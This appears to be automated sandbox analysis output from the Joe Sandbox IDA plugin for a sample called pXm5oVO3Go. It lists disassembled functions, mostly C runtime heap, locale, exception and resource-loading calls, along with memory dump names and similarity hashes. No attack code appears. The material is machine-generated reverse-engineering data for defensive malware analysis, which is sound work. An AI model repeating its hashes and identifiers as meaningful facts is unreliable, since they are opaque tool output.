Part of subcall function 1000B4CB: __FF_MSGBANNER.LIBCMT ref: 1000B4E4
Part of subcall function 1000B4CB: __NMSG_WRITE.LIBCMT ref: 1000B4EB
Part of subcall function 1000B4CB: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 1000B510

_free.LIBCMT ref: 10014007

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 1ab232e044aed3252399bea0ee6c793a0e290cd9f57a7279a257bb48d984a3d0
Instruction ID: 70ff08b1941979eeaa78273ecc160b3e30a6ac04d156f3026e39b441a1728ba6
Opcode Fuzzy Hash: 1ab232e044aed3252399bea0ee6c793a0e290cd9f57a7279a257bb48d984a3d0
Instruction Fuzzy Hash: 67119836804625ABEB23EF75980565D37A4EF482F0B234426FE589E1A1DF34D98157A0

Function 00402270 Relevance: 7.6, APIs: 5, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 004022A2

Part of subcall function 0065C042: _setlocale.LIBCMT ref: 0065C054

_free.LIBCMT ref: 004022B4

Part of subcall function 00638E31: HeapFree.KERNEL32(00000000,00000000,?,0040201B,?,ED2F953D), ref: 00638E47

_free.LIBCMT ref: 004022C7
_free.LIBCMT ref: 004022DA
_free.LIBCMT ref: 004022ED

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: _free$FreeHeapLocinfo::_Locinfo_dtor_setlocalestd::_
String ID:
API String ID: 1034197179-0
Opcode ID: ac469826c7b5778c2480ed9d8d21304f84577ce16e330bacff609af96e54664c
Instruction ID: ed5dcfbf73a07c69821e4bf8393dc523f7ba6170a8c7996168ef0bd254403016
Opcode Fuzzy Hash: ac469826c7b5778c2480ed9d8d21304f84577ce16e330bacff609af96e54664c
Instruction Fuzzy Hash: 3B1190B1900700AFCA20DF599D45A5BF7EAEB40710F144A2EF416D3780E7B5ED048A95

Function 0364AB81 Relevance: 7.6, APIs: 5, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,03642558,00000001,00000000,00000000,?,?,036416AA,?,00000004,03642558), ref: 0364ABAF
_free.LIBCMT ref: 0364ABC2
GetLastError.KERNEL32(?,?,036416AA,?,00000004,03642558), ref: 0364ABCA
SysAllocString.OLEAUT32(00000000), ref: 0364ABE5
_free.LIBCMT ref: 0364ABF6

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: _free$AllocByteCharErrorLastMultiStringWide
String ID:
API String ID: 3133011222-0
Opcode ID: f107383aaf685e7376f7e261de874eec1cef4eb26a884c931bf4a37c31d62274
Instruction ID: 4c195260b726e2754c0e3d76cd775c05de1b88e451184cfa31717bfd530753b4
Opcode Fuzzy Hash: f107383aaf685e7376f7e261de874eec1cef4eb26a884c931bf4a37c31d62274
Instruction Fuzzy Hash: B011E9B6D40308BBDB10EFE4CD85BAEB779EF48261F14413DE906BB240DA38D5408764

Function 1000AB7D Relevance: 7.6, APIs: 5, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,10002554,00000001,00000000,00000000,?,?,100016A6,?,00000004,10002554), ref: 1000ABAB
_free.LIBCMT ref: 1000ABBE
GetLastError.KERNEL32(?,?,100016A6,?,00000004,10002554), ref: 1000ABC6
SysAllocString.OLEAUT32(00000000), ref: 1000ABE1
_free.LIBCMT ref: 1000ABF2

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: _free$AllocByteCharErrorLastMultiStringWide
String ID:
API String ID: 3133011222-0
Opcode ID: c1eece032195694a8002d5fb2468b5fdb935dc54d1e59116945ad4e093ffb3a7
Instruction ID: d1de8894a8780e0054a3ce0d446c8da7c10fb7330143512198e40d387101a589
Opcode Fuzzy Hash: c1eece032195694a8002d5fb2468b5fdb935dc54d1e59116945ad4e093ffb3a7
Instruction Fuzzy Hash: 1611E977D00219ABF710DFA08C82F9EB765EF592E1F114239FC06B7246E678FA808651

Function 005A0D3F Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,?,75756BA0,00000000,006DDE54,?,005A2BCA,?,?,?,00000084,005A2F9E,0000000A,0000000A,0000000A,00000000), ref: 005A0D63
LoadResource.KERNEL32(?,00000000,?,005A2BCA,?,?,?,00000084,005A2F9E,0000000A,0000000A,0000000A,00000000,00000014,0059BAC9,00000004), ref: 005A0D79
LockResource.KERNEL32(00000000,?,?,005A2BCA,?,?,?,00000084,005A2F9E,0000000A,0000000A,0000000A,00000000,00000014,0059BAC9,00000004), ref: 005A0D88
FreeResource.KERNEL32(?,00000000,00000000,?,?,005A2BCA,?,?,?,00000084,005A2F9E,0000000A,0000000A,0000000A,00000000,00000014), ref: 005A0D99
SizeofResource.KERNEL32(?,00000000,?,?,005A2BCA,?,?,?,00000084,005A2F9E,0000000A,0000000A,0000000A,00000000,00000014,0059BAC9), ref: 005A0DA6

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Resource$FindFreeLoadLockSizeof
String ID:
API String ID: 4159136517-0
Opcode ID: 060403b0df980fa2bc26eddb00098e55fd3a1d70780271815c09f747c1f5bba0
Instruction ID: bf9dffb8b0351f1a12464e4b0dfc8b530dce4cae73df35a4009b91ad96d594c9
Opcode Fuzzy Hash: 060403b0df980fa2bc26eddb00098e55fd3a1d70780271815c09f747c1f5bba0
Instruction Fuzzy Hash: 7F017C3B510A22BB8B215BA59C5889F7FADFF86764705A114F90593250EA30ED008BA0

Function 03650E22 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 03650E4A

Part of subcall function 0364CA1F: __getptd.LIBCMT ref: 0364CA2D
Part of subcall function 0364CA1F: __getptd.LIBCMT ref: 0364CA3B

__getptd.LIBCMT ref: 03650E54

Part of subcall function 0364EA0D: __getptd_noexit.LIBCMT ref: 0364EA10
Part of subcall function 0364EA0D: __amsg_exit.LIBCMT ref: 0364EA1D

__getptd.LIBCMT ref: 03650E62
__getptd.LIBCMT ref: 03650E70
__getptd.LIBCMT ref: 03650E7B

Part of subcall function 0364CAC4: __CallSettingFrame@12.LIBCMT ref: 0364CB10

Part of subcall function 03650F48: __getptd.LIBCMT ref: 03650F57
Part of subcall function 03650F48: __getptd.LIBCMT ref: 03650F65

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: __getptd$CallCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 3282538202-0
Opcode ID: e040a5a93f23b847dead2cd5b509ea3d04758d06cfb91789651a499ad4ee544a
Instruction ID: 9e777d058709a66ab772dbbb5b9fb8c3e1f254bec6c077daa7b4cabe7cb1bda7
Opcode Fuzzy Hash: e040a5a93f23b847dead2cd5b509ea3d04758d06cfb91789651a499ad4ee544a
Instruction Fuzzy Hash: FD11E6B5C00349EFDF00EFA4D948AED7BB1FF08314F108069E814AB251DB799A519F58

Function 10010E1E Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 10010E46

Part of subcall function 1000CA1B: __getptd.LIBCMT ref: 1000CA29
Part of subcall function 1000CA1B: __getptd.LIBCMT ref: 1000CA37

__getptd.LIBCMT ref: 10010E50

Part of subcall function 1000EA09: __getptd_noexit.LIBCMT ref: 1000EA0C
Part of subcall function 1000EA09: __amsg_exit.LIBCMT ref: 1000EA19

__getptd.LIBCMT ref: 10010E5E
__getptd.LIBCMT ref: 10010E6C
__getptd.LIBCMT ref: 10010E77

Part of subcall function 1000CAC0: __CallSettingFrame@12.LIBCMT ref: 1000CB0C

Part of subcall function 10010F44: __getptd.LIBCMT ref: 10010F53
Part of subcall function 10010F44: __getptd.LIBCMT ref: 10010F61

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: __getptd$CallCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 3282538202-0
Opcode ID: e040a5a93f23b847dead2cd5b509ea3d04758d06cfb91789651a499ad4ee544a
Instruction ID: 5e55d5e3cdc97a5d851e944c1f85551ef15e2c34282e0f19f6d61ff914aafdfd
Opcode Fuzzy Hash: e040a5a93f23b847dead2cd5b509ea3d04758d06cfb91789651a499ad4ee544a
Instruction Fuzzy Hash: 1A1119B5D00249DFEF00DFA4D446AEE7BB0FF48354F10806AF814AB252DB78AA519F51

Function 0364E8E0 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(100189E4,1001D2B0,00000008,0364E9E8,00000000,00000000,?,?,0364DDFC,0364B4BB,?,?,0364B068,?,?,03641020), ref: 0364E8F1
__lock.LIBCMT ref: 0364E925

Part of subcall function 0364F7D6: __mtinitlocknum.LIBCMT ref: 0364F7EC
Part of subcall function 0364F7D6: __amsg_exit.LIBCMT ref: 0364F7F8
Part of subcall function 0364F7D6: RtlEnterCriticalSection.NTDLL(00000000), ref: 0364F800

InterlockedIncrement.KERNEL32(?), ref: 0364E932
__lock.LIBCMT ref: 0364E946
___addlocaleref.LIBCMT ref: 0364E964

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 637971194-0
Opcode ID: bc1e6e33b232fb84aee9128c931f2af660bdc20c21fa679934eb184c89e834a6
Instruction ID: 2a811599388bd926fc00bae7a3aec76b38ec781b17170bc7c6f9b12aed1063b9
Opcode Fuzzy Hash: bc1e6e33b232fb84aee9128c931f2af660bdc20c21fa679934eb184c89e834a6
Instruction Fuzzy Hash: 63015B75804B00EAE720EF65D944749BBE0FF50320F10890EE49A5B7A0CBB9EA40CB15

Function 1000E8DC Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(100189E4,1001D2B0,00000008,1000E9E4,00000000,00000000,?,?,1000DDF8,1000B4B7,?,?,1000B064,?,?,1000101C), ref: 1000E8ED
__lock.LIBCMT ref: 1000E921

Part of subcall function 1000F7D2: __mtinitlocknum.LIBCMT ref: 1000F7E8
Part of subcall function 1000F7D2: __amsg_exit.LIBCMT ref: 1000F7F4
Part of subcall function 1000F7D2: RtlEnterCriticalSection.NTDLL(00000000), ref: 1000F7FC

InterlockedIncrement.KERNEL32(?), ref: 1000E92E
__lock.LIBCMT ref: 1000E942
___addlocaleref.LIBCMT ref: 1000E960

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 637971194-0
Opcode ID: bc1e6e33b232fb84aee9128c931f2af660bdc20c21fa679934eb184c89e834a6
Instruction ID: 916c6ec87c4f8bcbc955037b591a6f753094f0854a764fd24730189219927c90
Opcode Fuzzy Hash: bc1e6e33b232fb84aee9128c931f2af660bdc20c21fa679934eb184c89e834a6
Instruction Fuzzy Hash: 5401AD75404B40EBF320CF69C84575ABBE0EF00320F10890EE49A97BA1CBB4FA41CB11

Function 00646CA4 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00646CB0

Part of subcall function 00645CA8: __getptd_noexit.LIBCMT ref: 00645CAB
Part of subcall function 00645CA8: __amsg_exit.LIBCMT ref: 00645CB8

__getptd.LIBCMT ref: 00646CC7
__amsg_exit.LIBCMT ref: 00646CD5
__lock.LIBCMT ref: 00646CE5
__updatetlocinfoEx_nolock.LIBCMT ref: 00646CF9

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: d4e355a559bb1b7d1e0f6e6558cc2fe086a99abab3a58efd638bb4dfc9e87ffc
Instruction ID: 620a938ebbe17e2657e0a0ef6a5b5746d7c8c0ba285f30f13d41fe036d09b152
Opcode Fuzzy Hash: d4e355a559bb1b7d1e0f6e6558cc2fe086a99abab3a58efd638bb4dfc9e87ffc
Instruction Fuzzy Hash: FDF09032944710ABE7A4BB74D84378D36A2AF02721F10414DF0596B2D2CB6859818AAE

Function 0364E7E4 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0364E7F0

Part of subcall function 0364EA0D: __getptd_noexit.LIBCMT ref: 0364EA10
Part of subcall function 0364EA0D: __amsg_exit.LIBCMT ref: 0364EA1D

__getptd.LIBCMT ref: 0364E807
__amsg_exit.LIBCMT ref: 0364E815
__lock.LIBCMT ref: 0364E825
__updatetlocinfoEx_nolock.LIBCMT ref: 0364E839

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 09b6d139129d4c3b12708e604190e4842ab1e85e5585d88a535f2a9c6bdb173d
Instruction ID: 8b720f0c0fe1bc5cbba69a2b20d163b98e4707acb7219beaf0aed34ecda76c65
Opcode Fuzzy Hash: 09b6d139129d4c3b12708e604190e4842ab1e85e5585d88a535f2a9c6bdb173d
Instruction Fuzzy Hash: 3EF0B436D04711DFEB60FBB49A45B5D7790BF00720F14814DE011AF2D2CF7694818B9A

Function 1000E7E0 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 1000E7EC

Part of subcall function 1000EA09: __getptd_noexit.LIBCMT ref: 1000EA0C
Part of subcall function 1000EA09: __amsg_exit.LIBCMT ref: 1000EA19

__getptd.LIBCMT ref: 1000E803
__amsg_exit.LIBCMT ref: 1000E811
__lock.LIBCMT ref: 1000E821
__updatetlocinfoEx_nolock.LIBCMT ref: 1000E835

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 09b6d139129d4c3b12708e604190e4842ab1e85e5585d88a535f2a9c6bdb173d
Instruction ID: c1e581abf6b3aa3cedc770c51710619a043d372c1d0baf30f0e204b42916052b
Opcode Fuzzy Hash: 09b6d139129d4c3b12708e604190e4842ab1e85e5585d88a535f2a9c6bdb173d
Instruction Fuzzy Hash: B2F06D36A04790DAF660EBA45806B5E33A0EF407E0F21814AF518B65DBCF24AD419B56

Function 004103A0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 166windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00547FF4: __EH_prolog3.LIBCMT ref: 00547FFB

LoadIconW.USER32(?,00000080), ref: 00410554
std::exception::exception.LIBCMT ref: 0041058B

Part of subcall function 00638987: std::exception::_Copy_str.LIBCMT ref: 006389A2

__CxxThrowException@8.LIBCMT ref: 004105A0

Part of subcall function 00641C89: RaiseException.KERNEL32(00401FC3,?,ED2F953D,006FC518,00401FC3,?,0071C220,?,ED2F953D), ref: 00641CCB

Strings

HOST=%d PARAM1=%s, xrefs: 0041044A

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Copy_strExceptionException@8H_prolog3IconLoadRaiseThrowstd::exception::_std::exception::exception
String ID: HOST=%d PARAM1=%s
API String ID: 500386467-510288069
Opcode ID: a02846fbc93f5e784fd72039f5fdc23d11aa67a562bafda45b03b8c25ba9f00f
Instruction ID: 3c8d3bc684d60fcecd5c8dfe43502e13f45b14ae440c8b5b3ed01ffbc29c50ef
Opcode Fuzzy Hash: a02846fbc93f5e784fd72039f5fdc23d11aa67a562bafda45b03b8c25ba9f00f
Instruction Fuzzy Hash: AD51E1B06043459FDB50DF78C8857DBBBE8AF08714F00852EE55ADB382DB78A984CB91

Function 00417360 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041750D
_free.LIBCMT ref: 00417528
_free.LIBCMT ref: 0041754C

Strings

qrcode, xrefs: 0041742D

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: _free
String ID: qrcode
API String ID: 269201875-2768184300
Opcode ID: b7ae724dab59976927405755fddd42096b275a2b9ae2b92c7d1d6adc51a94ade
Instruction ID: c0c9aa430fc308d1607b363f79eebbeb712cfc187a753c9d430ef2ce2b4ae81c
Opcode Fuzzy Hash: b7ae724dab59976927405755fddd42096b275a2b9ae2b92c7d1d6adc51a94ade
Instruction Fuzzy Hash: DB6103B1E042589FDB10DFA9C88179EBBB5FF48304F1081AEE449EB241DB746A85CF95

Function 00401A20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00401A9C
std::_Xinvalid_argument.LIBCPMT ref: 00401AB6
_memmove.LIBCMT ref: 00401B0C

Part of subcall function 00401D30: std::_Xinvalid_argument.LIBCPMT ref: 00401D49
Part of subcall function 00401D30: std::_Xinvalid_argument.LIBCPMT ref: 00401D6A
Part of subcall function 00401D30: std::_Xinvalid_argument.LIBCPMT ref: 00401D85
Part of subcall function 00401D30: _memmove.LIBCMT ref: 00401DED

Strings

string too long, xrefs: 00401A97, 00401AB1

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: string too long
API String ID: 2168136238-2556327735
Opcode ID: 5111ff37cf27c43911fabb825e62defa93693cee735bf3554952fd6fa4e93fe8
Instruction ID: 97b060a13575e745853b417087fd149ece5be724ff5a1c7c5cfeaf1b1d037eb8
Opcode Fuzzy Hash: 5111ff37cf27c43911fabb825e62defa93693cee735bf3554952fd6fa4e93fe8
Instruction Fuzzy Hash: 5431D3323006104BD7249E5DE88096BF7EAEFD2760B60493FF496976E1D774AC448BA8

Function 00405750 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004057B3
_memmove.LIBCMT ref: 0040580D

Strings

string too long, xrefs: 004057AE
P:@, xrefs: 004057A3, 0040578C, 00405791, 004057C3

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Xinvalid_argument_memmovestd::_
String ID: P:@$string too long
API String ID: 256744135-887560500
Opcode ID: 01d2339d28d8993f240ba90f0c4f54b57ff6d7e0425e8d1d6e3a331d66730f60
Instruction ID: e1572dfa30291538e1104b65d0c9648f690ed9276a06c13b321248f19cecc49b
Opcode Fuzzy Hash: 01d2339d28d8993f240ba90f0c4f54b57ff6d7e0425e8d1d6e3a331d66730f60
Instruction Fuzzy Hash: E9319236314A148BCA24AE5CE98086BB3EAEFD1711720492FE442D7690D735AC45DFA9

Function 00405460 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00405474

Part of subcall function 0065BD54: std::exception::exception.LIBCMT ref: 0065BD69
Part of subcall function 0065BD54: __CxxThrowException@8.LIBCMT ref: 0065BD7E
Part of subcall function 0065BD54: std::exception::exception.LIBCMT ref: 0065BD8F

std::_Xinvalid_argument.LIBCPMT ref: 00405483

Strings

string too long, xrefs: 0040546F, 0040547E

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: string too long
API String ID: 963545896-2556327735
Opcode ID: 5fc5c3486ac89371a71539facb618ac1118246e8fbfd7318b339debac40097cf
Instruction ID: cc32dd397e5fbe50cd7e113d676059e06672086655c2f4c6a8c45dde24df3c6e
Opcode Fuzzy Hash: 5fc5c3486ac89371a71539facb618ac1118246e8fbfd7318b339debac40097cf
Instruction Fuzzy Hash: 3621C832304A545BC7319A5C98006ABFBE9DFA2722F20496FF5909B3D1C3759884CBA9

Function 00412970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 005475A7: __EH_prolog3.LIBCMT ref: 005475AE
Part of subcall function 005475A7: lstrlenW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,00000000,00000001,?), ref: 005475E8
Part of subcall function 005475A7: VariantClear.OLEAUT32(?), ref: 00547654
Part of subcall function 005475A7: VariantClear.OLEAUT32(?), ref: 0054765A
Part of subcall function 005475A7: VariantClear.OLEAUT32(?), ref: 00547660
Part of subcall function 005475A7: VariantClear.OLEAUT32(00000000), ref: 00547666
Part of subcall function 005475A7: SysFreeString.OLEAUT32(?), ref: 0054766B

VariantCopy.OLEAUT32(00000000,?), ref: 004129F0
